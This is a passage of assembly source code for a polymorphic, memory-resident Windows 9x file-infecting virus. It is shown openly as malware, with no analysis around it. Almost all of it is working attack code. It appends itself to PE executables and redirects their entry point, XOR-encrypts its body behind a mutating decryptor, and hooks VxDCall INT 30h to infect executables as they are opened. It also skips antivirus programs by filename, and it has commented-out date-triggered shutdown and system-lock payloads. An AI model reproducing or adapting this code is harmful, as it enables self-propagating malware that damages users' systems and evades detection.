ecx ;Calculate the Starting of Virus Code in File mov eax, (IMAGE_SECTION_HEADER [ecx]).ISH_PointerToRawData add eax, (IMAGE_SECTION_HEADER [ecx]).ISH_SizeOfRawData mov [dwVirusBegin], eax ;RVA of New Entry Point in File ;Calculate RVA of New Entry Point mov ebx, [lpdwLastSection] sub eax, (IMAGE_SECTION_HEADER [ebx]).ISH_PointerToRawData add eax, (IMAGE_SECTION_HEADER [ebx]).ISH_VirtualAddress mov [dwNewEntryRVA], eax ;Calculate Bytes of JMP Instruction add eax, offset ReturnToHost - offset StartOfVirusCode mov ebx, [dwIOH] sub eax, (IMAGE_OPTIONAL_HEADER [ebx]).IOH_AddressOfEntryPoint add eax, 4 not eax mov [dwJumpBytes], eax ;Save Bytes ;Append the Virus to the host mov esi, offset StartOfVirusCode ;Copy Virus from Here... add esi, [dwDeltaOffset] ;since StartOfVirusCode will vary after infection mov edi, [dwVirusBegin] ;...to here mov ebx, [dwDeltaOffset] add edi, [ebx + lpHostFile] ;true location to copy to mov ecx, VIRUS_SIZE rep movsb ;Write New Jump Instruction in File ;Offset in File where operand to JMP instruction is to be put mov ebx, offset ReturnToHost + 1 - offset StartOfVirusCode add ebx, [dwVirusBegin] ;True offset in file mov esi, [dwDeltaOffset] add ebx, [esi + lpHostFile] ;Correct offset in Memory Mapped File mov ecx, [dwJumpBytes] ;Get operand for jmp instruction mov [ebx], ecx ;Put it in the file ;Update the Last Section Header mov eax, [lpdwLastSection] mov ebx, [dwIncSecSize] mov ecx, [dwIncFileSize] add (IMAGE_SECTION_HEADER [eax]).ISH_SizeOfRawData, ecx add (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx or (IMAGE_SECTION_HEADER [eax]).ISH_Characteristics, IMAGE_READ_WRITE_EXECUTE ;Fix VirtualSize (if Required) for files like TRACERT.EXE) mov ebx, (IMAGE_SECTION_HEADER [eax]).ISH_SizeOfRawData cmp (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx ;Virtual Size Wrong jge VirtualSizeFine ;No, Fix Not Required mov (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx ;Yes, Fix it VirtualSizeFine: ;Update the PE Header (Image Size) mov ebx, [dwIOH] ;Address of Image Optional Header add (IMAGE_OPTIONAL_HEADER [ebx]).IOH_SizeOfImage, ecx ;Update the PE Header (Entry RVA) mov ecx, [dwNewEntryRVA] ;Get New Entry RVA mov (IMAGE_OPTIONAL_HEADER [ebx]).IOH_AddressOfEntryPoint, ecx ;Update the Win32VersionValue field. This is used as a Virus Signature mov (IMAGE_OPTIONAL_HEADER [ebx]).IOH_Win32VersionValue, VIRUS_SIGNATURE ;Encrypt the file, and Close it mov ebx, [dwDeltaOffset] mov edi, [ebx + lpHostFile] ;Staring address of Host File add edi, [dwVirusBegin] ;Address of virus in file call EncryptVirus call UnmapAndCloseFile, if_szFileName xor eax, eax inc eax ;All OK, Return Code 1 End_InfectFile: ret InfectFile ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | EncryptVirus | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> Encrypts the Virus Code with a random byte, and mutates the decryptor, ; making the virus Encrypted & Polymorphic ; ; Arguments ; -> EDI: Starting address of Virus in Memory Mapped File ; ; Return Value: ; -> None ; ; Registers Destroyed ; -> All except EDI ;________________ EncryptVirus PROC push edi ;Save starting address of virus code ;Get Encryption Key, to be used for encrypting/decrypting ;@DELTA esi ;call esi + GetTickCount ;Get random number in EAX (AL) in al, 40h ;Get random encryption key IF DEBUG xor al, al ;Don't encrypt in Debug Mode ENDIF mov ecx, ENCRYPTED_SIZE add edi, LOADER_SIZE ;Don't enrypt the loader !! EncryptByte: xor byte ptr [edi], al ;al = Encryption Key inc edi loop EncryptByte pop edi ;restore starting address of virus code ;Update the Encryption Key in the decryptor mov byte ptr [edi + EncryptionKey - StartOfVirusCode], al ;Mutate the Decryptor call MutateDecryptor ret EncryptVirus ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | StringLength | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> Returns the length of the string ; ; Arguments ; -> DWORD sl_lpszString: Address of the string ; ; Return Value: ; -> EAX: Length of the string ; ; Registers Destroyed ; -> EAX, ECX, EDI ;____________________________________ StringLength PROC sl_lpszString:DWORD mov edi, sl_lpszString ;string whose length is required xor ecx, ecx dec ecx ;ecx = -1, search till infinity xor eax, eax ;search for NULL character repne scasb ;Find the terminating NULL not ecx dec ecx ;length of string mov eax, ecx ;return length of string ret StringLength ENDP ;**************************************************************************** ; TimerProc ;**************************************************************************** ; Description ; -> This function is called when the Time-out value for the Timer Expires. ; ; Arguments ; -> tp_hwnd: Handle of the window ; tp_uMsg: WM_TIMER ; tp_idEvent: ID of the timer ; tp_dwTimer: Value of GetTickCount() ; ; Return Value: ; -> None ; ; Registers Destroyed ; -> All ;_____________________________________________________________________________ ;TimerProc PROC tp_hwnd:DWORD, tp_uMsg:DWORD, tp_idEvent:DWORD, tp_dwTime:DWORD ; LOCAL dwDeltaOffset:DWORD, \ ; dwFileNumber:DWORD, \ ; stTime:SYSTEMTIME ; pushad ;must save, since this is a CALLBACK fn ; @DELTA esi ; mov [dwDeltaOffset], esi ; ;Check if Date is 8th December ; lea eax, stTime ; call esi + GetLocalTime, eax ; cmp stTime.ST_wMonth, 12 ;is Month = December ; jne Not_8_December ;No ; cmp stTime.ST_wDay, 8 ;Yes. Is Day = 8th ; jne Not_8_December ;No ; ;Deliever Payload since date is 8th December ; call PayLoad ; ;Not_8_December: ; ;Lock System if Windows has been running for a long time ; ;cmp tp_dwTime, MAX_RUN_TIME ;Is Windows Up-time > 2 hours ; ;jle NoLockWindows ;No ; ;DB 0F0h ;Yes, use F00F Bug to hang / lock System ; ;DB 0Fh ; ;DB 0C7h ; ;DB 0C8h ; ;NoLockWindows: ; ; ;End_TimerElapsed: ; popad ;restore state ; ret ;TimerProc ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | CanFileBeInfected | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> This function checks if a file can be infected or not. It checks the ; following: ; 1. File must be an EXE ; 2. File must be a PE ; 3. It must not be a DLL ; 4. File must not be infected by our virus ; 5. It must not be a Winzip Self-Extractor File ; ; If all the above conditions are met, this function returns the size, in ; bytes, by which the file and section must be increased when the file is ; infected. ; ; Arguments ; -> DWORD cfbe_szFileName: ASCIIZ Name of the file to check ; ; Return Value: ; -> EAX: 1 if the file can be infected, 0 Otherwise ; -> EBX: Bytes by which the file size must be increased if it is infected ; -> ECX: Bytes by which the last section size must be increased if it is infected ; ; Registers Destroyed ; -> All ;___________________________________________ CanFileBeInfected PROC cfbe_szFileName:DWORD ;Map File, without increasing the File Size call OpenAndMapFile, cfbe_szFileName, 0 test eax, eax ;File Opened & Mapped Successfully jz End_CanFileBeInfected ;No, Return with Error Code = 0 ;Get File Headers call GetFileHeaders, eax test eax, eax ;Successfully retreived file headers je End_CanFileBeInfected ;No, probably not a PE file ;Check if file is infected. We use the Win32VersionValue for storing our signature cmp (IMAGE_OPTIONAL_HEADER [ebx]).IOH_Win32VersionValue, VIRUS_SIGNATURE jz Error_CanFileBeInfected ;File is already infected ;Check if file is a DLL test (IMAGE_FILE_HEADER [eax]).IFH_Characteristics, IMAGE_FILE_DLL jnz Error_CanFileBeInfected ;Yes ;Check if last section is sharable ;mov edx, (IMAGE_SECTION_HEADER [ecx]).ISH_Characteristics ;and edx, IMAGE_SCN_MEM_SHARED ;Is Section Sharable ;jnz Error_CanFileBeInfected ;Yes, don't infect ;Don't infect Winzip Self-Extractor Files. ;The last section of this file has the name _winzip_. Note that Winzip ;Self-Extrator Personal Edition Files will still be infected, since they ;don't have this section cmp dword ptr (IMAGE_SECTION_HEADER [ecx]).ISH_Name, "niw_" ;"_win" ? je Error_CanFileBeInfected ;Yes, dont infect ;OK, File can be infected, Great !!, ;-) mov eax, ebx ;Image Optional Header mov ebx, (IMAGE_OPTIONAL_HEADER [eax]).IOH_FileAlignment mov ecx, (IMAGE_OPTIONAL_HEADER [eax]).IOH_SectionAlignment ;Calculate Increase in Section size ;INC_SEC_SIZE = [(VIRUS_SIZE - 1 + SECTION_ALIGN) / SECTION_ALIGN] * SECTION_ALIGN mov eax, VIRUS_SIZE - 1 add eax, ecx ;Add Section Alignment xor edx, edx ;We need to divide only EAX div ecx ;Divide by SECTION_ALIGN mul ecx ;Multiply by SECTION_ALIGN push eax ;Save Increase in Section Size ;Calculate Increase in File Size ;INC_FILE_SIZE = (INC_SEC_SIZE - 1 + FILE_ALIGN) / FILE_ALIGN] * FILE_ALIGN ;mov eax, VIRUS_SIZE;**NEW LINE ;dec eax ;INC_SEC_SIZE - 1 mov eax, VIRUS_SIZE - 1 add eax, ebx ;Add File Alignment, FILE_ALIGN div ebx ;Divide by FILE_ALIGN mul ebx ;Multiply by FILE_ALIGN push eax ;Save Increase in File Size ;Close the file, and return relevant values call UnmapAndCloseFile, cfbe_szFileName pop ebx ;Get Increase in File Size pop ecx ;Get Increase in Section Size xor eax, eax inc eax ;Return Code 1 jmp End_CanFileBeInfected Error_CanFileBeInfected: call UnmapAndCloseFile, cfbe_szFileName xor eax, eax ;Return Code 0 End_CanFileBeInfected: ret CanFileBeInfected ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | PayLoad | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> This function is called on the 8th of December. It delievers the Payload ; of the virus. ; ; Arguments ; -> None. ; ; Return Value: ; -> None. ; ; Registers Destroyed ; -> All ;___________ ;PayLoad PROC ; @DELTA esi ; ;call ExitWindowsEx, EWX_FORCE OR EWX_SHUTDOWN, NULL ; call esi + ExitWindowsEx, EWX_SHUTDOWN, NULL ; ret ;PayLoad ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | CanMachineBeInfected | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> This function is called to check if the virus should infect this machine ; or not. This is used, so that the virus doesn't infect My Machine !! ; ; Arguments ; -> None. ; ; Return Value: ; -> EAX: 0 -> machine should not be infected, else it can be infected ; ; Registers Destroyed ; -> All ;________________________ CanMachineBeInfected PROC @DELTA esi ;Check if the "No Infect" file exists on the current machine mov eax, esi add eax, offset szNoInfectFileName call esi + CreateFileA, eax, GENERIC_READ, FILE_SHARE_READ, NULL, \ OPEN_EXISTING, NULL, NULL cmp eax, INVALID_HANDLE_VALUE ;File Opened ? je End_CanMachineBeInfected ;No, so machine can be infected ;Close the file, and return 0, since its probably my machine call esi + CloseHandle, eax xor eax, eax ;return 0, so that machine is not infected End_CanMachineBeInfected: ret CanMachineBeInfected ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | RelocateVirus | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> This function allocates memory in the Shared area and copies the Virus ; to that area. ; ; Arguments ; -> None. ; ; Return Value: ; -> EAX: Base address of Memory where the Virus was copied, or NULL if an ; error occured. ; ; Registers Destroyed ; -> All ;_________________ RelocateVirus PROC LOCAL dwDeltaOffset:DWORD, \ dwMemoryRegion:DWORD @DELTA esi mov [dwDeltaOffset], esi ;Reserve Shared Memory @DELTA esi call esi + VxDCall, PageReserve, PR_SHARED, VIRUS_SIZE_PAGES, \ PC_WRITEABLE OR PC_USER cmp eax, INVALID_HANDLE_VALUE ;Memory Allocate Successfully? je Error_RelocateVirus ;No cmp eax, SHARED_MEMORY ;Shared memory Allocated? jb Error_RelocateVirus ;No ;Save Address of Region mov [dwMemoryRegion], eax ;Commit Shared Memory shr eax, 0Ch ;Page Number mov esi, [dwDeltaOffset] call esi + VxDCall, PageCommit, eax, VIRUS_SIZE_PAGES, PD_ZEROINIT, 0, \ PC_WRITEABLE OR PC_USER OR PC_PRESENT OR PC_FIXED or eax,eax je Error_RelocateVirus ;Copy Virus to Newly Allocate Memory mov esi, dwDeltaOffset add esi, offset StartOfVirusCode ;Start Copying From Here mov edi, [dwMemoryRegion] ;Copy Here mov ecx, VIRUS_SIZE ;Size to Copy rep movsb mov eax, [dwMemoryRegion] ;Return Region of Shared Memory Allocated jmp End_RelocateVirus Error_RelocateVirus: xor eax, eax ;Return 0, since an error occured End_RelocateVirus: ret RelocateVirus ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | InstallHookProcedure | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> This function installs a hook procedure to monitor VxDCalls ; ; Arguments ; -> None. ; ; Return Value: ; -> None. ; ; Registers Destroyed ; -> All ;________________________ InstallHookProcedure PROC LOCAL dwDeltaOffset:DWORD @DELTA esi mov [dwDeltaOffset], esi ;Modify the JMP instruction, so that it points to the address of OldInt30 mov eax, esi add eax, offset OldInt30Address ;Bytes to modify mov ebx, esi add ebx, offset OldInt30 ;Address of OldInt30 mov [eax], ebx ;Modify JMP instruction ;The disassembly of the VxDCall function looks like this: ; ;8B 44 24 04 MOV EAX, DWORD PTR [ESP+04h] ;8F 04 24 POP DWORD PTR [ESP] ;2E FF 1D XX XX XX XX CALL FWORD PTR CS:[XXXXXXXX] ; ;The last instuction points to an INT 30h instruction that is used by ;VxDCall to jump to Ring 0. So, to hook VxDCall's, we must modify the ;address pointed to by the CALL, i.e. XXXXXX, so that it points to our ;code. Before that, we should save the current address, so that we can ;call the old INT 30h ;Trace through VxDCall, until we come to the XXXXXXXX bytes add esi, offset VxDCall mov esi, [esi] ;First byte of VxDCall function mov ecx, 50 ;Scan upto 50 bytes TraceVxDCall: lodsb ;Get current byte cmp al, 2Eh ;First byte of CALL instruction? jne TraceVxDCall_NextByte ;No, check next byte cmp word ptr [esi], 1DFFh ;Next two bytes of instruction? je TraceVxDCall_AddressFound ;Yes TraceVxDCall_NextByte: loop TraceVxDCall ;Continue Checking... TraceVxDCall_AddressFound: ;Save Current INT 30h Address cli ;Cannot afford to be interrupted lodsw ;Skip over FF and 1D opcodes of CALL lodsd ;Pointer to INT 30h instruction, XXXXXXXX mov esi, eax ;Copy Bytes From Here mov edi, [dwDeltaOffset] add edi, offset OldInt30 ;To Here mov ecx, 6 ;Save 6 bytes, FWORD rep movsb ;Install New INT 30h Handler mov edi, eax ;Pointer to INT 30h instruction mov eax, [dwDeltaOffset] add eax, offset VxDInt30Handler ;Copy This Address stosd ;Save 4 bytes ... mov ax, cs stosw ;and 2 bytes (since FWORD instruction) sti ;Handler installed, enable interrupts ret InstallHookProcedure ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | VxDInt30Handler | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> This is the hook procedure that monitors VxDCalls (INT 30h) ; ; Arguments ; -> None. ; ; Return Value: ; -> None. ; ; Registers Destroyed ; -> All ;___________________ VxDInt30Handler PROC pushad ;Save all, since this is an interrupt handler ;Make sure that we don't process our own calls @OFFSET ebp, VxDCall_Busy cmp byte ptr [ebp], TRUE ;Is Virus busy je Exit_VxDInt30Handler ;Yes, prevent re-entrancy ;Process only INT 21h Services cmp eax, VWIN32_Int21Dispatch ;VWIN32 VxD int 21h? jne Exit_VxDInt30Handler mov eax,dword ptr [esp+0000002Ch] ;Get 21h Service cmp ax, RESIDENCY_CHECK_SERVICE ;Check for Residency? je Residency_Check ;Yes cmp ax, LFN_OPEN_FILE_EXTENDED ;LFN Open Extended je Extended_File_Open jmp Exit_VxDInt30Handler ;None, go to default handler Residency_Check: ;Virus Residency Check popad ;Restore stack and other regs mov esi, RESIDENCY_SUCCESS ;Tell caller that we're resident jmp Original_VxDInt30Handler ;Go to original handler Extended_File_Open: ;Prevent Re-entrancy @OFFSET eax, VxDCall_Busy mov byte ptr [eax], TRUE push esi call IsFilenameOK, esi pop esi or eax, eax jz File_Not_Executable ;Do Stuff ;call OutputFileName call InfectFile, esi File_Not_Executable: ;Finished Processing @OFFSET eax, VxDCall_Busy mov byte ptr [eax], FALSE Exit_VxDInt30Handler: popad ;Restore, before transfering control Original_VxDInt30Handler: ;The following bytes will be translated to JMP FWORD PTR CS:[00000000] DB 2Eh, 0FFh, 2Dh ;JMP FWORD PTR CS:[XXXXXXXX] OldInt30Address: ;The following 4 bytes will be replaced by the DB 4 DUP (0) ;address of OldInt30 in memory. ;ret ;Not required, since we're jumping out VxDInt30Handler ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | IsFilenameOK | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> This function checks if the filename is OK for infection or not. If the ; filename meets any of the folling criteria, this function returns a ; failure. ; * Filename is less than 5 characters. This is checked, because ; we are infecting only .EXE files, so the minimum length of such ; a file is 5 characters ; * The filename must end in ".EXE" (or ".XYZ" for DEBUG mode). The ; comparison is case insensitive ; * The filename must NOT consist of any of the following pairs of ; characters, viz., "AV", "AN", "F-". This is done to prevent ; infection of Anti-Virus program files. ; ; Arguments ; -> ife_szFilename: Address of the buffer where the filename is stored ; ; Return Value: ; -> EAX: 1 if the filename is OK, 0 otherwise ; ; Registers Destroyed ; -> All ;___________________________________ IsFilenameOK PROC ife_szFilename LOCAL szExtention[4]:BYTE ;Check Filename Length mov esi, ife_szFilename call StringLength, esi ;Get length of filename cmp eax, 4 ;Is File name less than 5 characters (.EXE) jl Error_IsFilenameOk ;Yes, Don't infect push eax ;Save Length of Filename ;Get File Extention mov eax, [esi + eax - 4] ;File Extention (including ".") lea edx, szExtention ;Get Address of Extention Buffer mov [edx], eax ;Store extention in buffer ;Convert to upper case mov ecx, 3 ;3 characters to be converted ToUpperCase: inc edx ;Don't have to check "." for upper case cmp byte ptr [edx], "a" jl NextCharacter cmp byte ptr [edx], "z" jg NextCharacter sub byte ptr [edx], "a" - "A" ;Convert to upper case NextCharacter: loop ToUpperCase pop ecx ;Get Length of Filename ;Check the Extention IF DEBUG cmp dword ptr [edx - 3], "ZYX." ;Is Extention ".XYZ" (Debug Only) ELSE ERR "Release Mode, Executables will be Infected !!!" ;Comment to assemble cmp dword ptr [edx - 3], "EXE." ;Is Extention ".XYZ" (Release Only) ENDIF jne Error_IsFilenameOk ;No, Extention doesn't match ;Check Anti-Virus Program Files dec ecx ;Since we're checking 2 char, last char not reqd CheckAntiVirusFiles: cmp word ptr [esi], "VA" ;"AV"; for NAV (Norton), TBAV (ThunderByte) je Error_IsFilenameOk cmp word ptr [esi], "va" je Error_IsFilenameOk cmp word ptr [esi], "-F" ;"F-"; for F-PROT je Error_IsFilenameOk cmp word ptr [esi], "NA" ;"AN", for SCAN (McAfee), CLEAN je Error_IsFilenameOk cmp word ptr [esi], "na" je Error_IsFilenameOk inc esi ;Next Character loop CheckAntiVirusFiles ;Check All xor eax, eax inc eax jmp End_IsFilenameOk Error_IsFilenameOk: xor eax, eax End_IsFilenameOk: ret IsFilenameOK ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ OutputFileName PROC LOCAL dwFilename:DWORD, \ dwDeltaOffset:DWORD mov [dwFilename], esi @DELTA esi mov [dwDeltaOffset], esi ;Create File to write into mov edx, [dwDeltaOffset] add edx, offset szOutputFile mov esi, 0BFF77ADFh call esi, edx, GENERIC_READ OR GENERIC_WRITE, FILE_SHARE_READ, \ 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 cmp eax, INVALID_HANDLE_VALUE je End_OutputFileName ;Go to end of file push eax ;Save Handle mov esi, 0BFF7713Fh ;SetFilePointer call esi, eax, 0, 0, 2 pop eax ;Restore Handle ;Get Length of FileName push eax ;Save Handle mov edx, [dwFilename] mov esi, 0BFF773ADh ;lstrlen call esi, edx mov ebx, eax ;length of filename pop eax ;Restore Handle ;Write Into File push eax ;save handle push eax ;Create Buffer, used for number of bytes written lea ecx, [esp - 4] mov edx, [dwFilename] mov esi,0BFF76FD5h ;WriteFile call esi, eax, edx, ebx, ecx, 0 pop eax ;Remove Buffer pop eax ;restore handle ;Close File mov esi, 0BFF7E064h call esi, eax End_OutputFileName: ret OutputFileName ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | IsVirusActive | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> This function returns 1 if the virus is active in memory, else returns ; 0. This function also saves the address of the VxDCall API. ; ; Arguments ; -> None. ; ; Return Value: ; -> EAX: 1 if the Virus is Resident. 0 otherwise ; ; Registers Destroyed ; -> All ;_________________ IsVirusActive PROC call GetAddressOfKernelAPI, 0 ;Get Address Of VxDCall API test eax, eax ;Found Address ? jz End_IsVirusActive ;No, Return 0 ;Save address of VxDCall API @OFFSET ebx, VxDCall mov [ebx], eax ;Save Address ;Check if Virus is Already Resident @CALL_INT21h RESIDENCY_CHECK_SERVICE xor eax, eax ;Assume not resident cmp esi, RESIDENCY_SUCCESS ;Is Virus Resident jne End_IsVirusActive ;No, return 0 inc eax ;Yes, return 1 End_IsVirusActive: ret IsVirusActive ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | GetFileHeaders | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> This function retreives the address of various file headers, viz., ; Image File Header, Image Optional Header, Last Section Header, ; Image Export Directory. The function fails if the specified file is ; not a Portable Executable (PE) file ; ; Arguments ; -> gfh_dwFileBase: Base Address of File (in Memory) whose headers are ; required. ; ; Return Value: ; -> EAX: Address of the Image File Header, or 0 if the function failed ; -> EBX: Address of the Image Optional Header ; -> ECX: Address of the Last Sections Header ; -> EDX: Address of the Image Export Directory ; ; Registers Destroyed ; -> All ;_______________________________________ GetFileHeaders PROC gfh_dwFileBase:DWORD LOCAL dwIOH:DWORD, \ dwIED:DWORD, \ mov esi, [gfh_dwFileBase] cmp word ptr [esi], "ZM" ;Is EXE/DLL Present ? jne Error_GetFileHeaders ;No ;Check for PE Signature add esi, (IMAGE_DOS_HEADER [esi]).IDH_e_lfanew cmp dword ptr [esi], "EP" ;PE File ? jne Error_GetFileHeaders ;No ;Get Image Optional Header add esi, IMAGE_SIZEOF_NT_SIGNATURE ;Image File Header push esi ;Save Image File Header add esi, SIZE IMAGE_FILE_HEADER ;Image Optional Header mov [dwIOH], esi ;Save ;Get the Address of the Image Export Directory mov esi, (IMAGE_OPTIONAL_HEADER [esi]).IOH_DataDirectory(0).IDD_VirtualAddress ;RVA Image Export Directory add esi, [gfh_dwFileBase] mov dword ptr [dwIED], esi ;Get Address of Last Section Header pop esi ;Get Image File header movzx ecx, (IMAGE_FILE_HEADER [esi]).IFH_SizeOfOptionalHeader add ecx, [dwIOH] ;Address of First Section Header movzx eax, (IMAGE_FILE_HEADER [esi]).IFH_NumberOfSections dec eax ;Number of Sections - 1 imul eax, eax, SIZE IMAGE_SECTION_HEADER ;Size of All Section Headers ;mov ebx, SIZE IMAGE_SECTION_HEADER ;mul ebx ;Size of All Section Headers add ecx, eax ;Address of Last Section Header ;Return Header Values mov eax, esi ;Image File Header mov ebx, [dwIOH] mov edx, [dwIED] jmp End_GetFileHeaders Error_GetFileHeaders: xor eax, eax ;Error, Return 0 End_GetFileHeaders: ret GetFileHeaders ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | MutateDecryptor | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> This function modifies the registers used in the decryptor, to make it ; polymorphic. The decrypor uses two registers; one as an index, and the ; other as a counter. The registers EAX, EBX, ECX, EDX, ESI and EDI are ; used as random registers. The opcodes are generated in the following way. ; First the opcode is calculated using register EAX; e.g. the opcode for ; POP EAX is 58h. To generate the opcodes for the other registers, we add ; the number of the register. The number for EDX is 2. Adding this to 58h, ; we get 5Ah, which is the opcode for POP EDX ; ; Arguments ; -> EDI: Start of decrypor that need to be mutated ; ; Return Value: ; -> None ; ; Registers Destroyed ; -> AX, BL ;___________________ MutateDecryptor PROC ;Get Two Random Registers call RandomRegister ;Get First Register Number mov ah, al ;Save It GetAnotherRegister: call RandomRegister ;Get Second Register Number cmp ah, al ;Is it the same as First je GetAnotherRegister ;Yes, get another one ;Modify Decryptor, so that it uses the new registers mov bl, 58h ;Change "pop " add bl, al ;Register 1 mov byte ptr [edi + 5], bl mov bl, 0C0h ;Change "add , ..." add bl, al ;Register 1 mov byte ptr [edi + 7], bl mov bl, 0B8h ;Change "mov , ..." add bl, ah ;Register 2 mov byte ptr [edi + 9], bl mov bl, 30h ;Change "xor byte ptr [], ..." add bl, al ;Register 1 mov byte ptr [edi + 15], bl mov bl, 40h ;Change "inc " add bl, al ;Register 1 mov byte ptr [edi + 17], bl mov bl, 48h ;Change "dec " add bl, ah ;Register 2 mov byte ptr [edi + 18], bl ret MutateDecryptor ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | RandomRegister | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ ; Description ; -> This function returns a random number from 0, 1, 2, 3, 6, and 7. Each of ; these values is used to identify a register. ; EAX=0, ECX=1, EDX=2, EBX=3, ESI=6, EDI=7 ; ; Arguments ; -> None. ; ; Return Value: ; -> AL: Random number (0, 1, 2, 3, 6 or 7) ; ; Registers Destroyed ; -> AL ;__________________ RandomRegister PROC NewRandom: in al, 40h ;Get Random Number and al,00000111b ;Maximum value 7 cmp al, 4 ;Should not be 4... je NewRandom cmp al, 5 ;...or 5 je NewRandom ret RandomRegister ENDP ;+----------------------------------------------------------------------------+ ;| +------------------------------------------------------------------------+ | ;| | | | ;| | End Of Virus Code | | ;| | | | ;| +------------------------------------------------------------------------+ | ;+----------------------------------------------------------------------------+ VIRUS_SIZE EQU $ - offset StartOfVirusCode ENCRYPTED_SIZE EQU $ - offset EncryptedVirusCode LOADER_SIZE EQU VIRUS_SIZE - ENCRYPTED_SIZE VIRUS_SIZE_PAGES EQU (VIRUS_SIZE / PAGE_SIZE) + 1 END StartOfVirusCode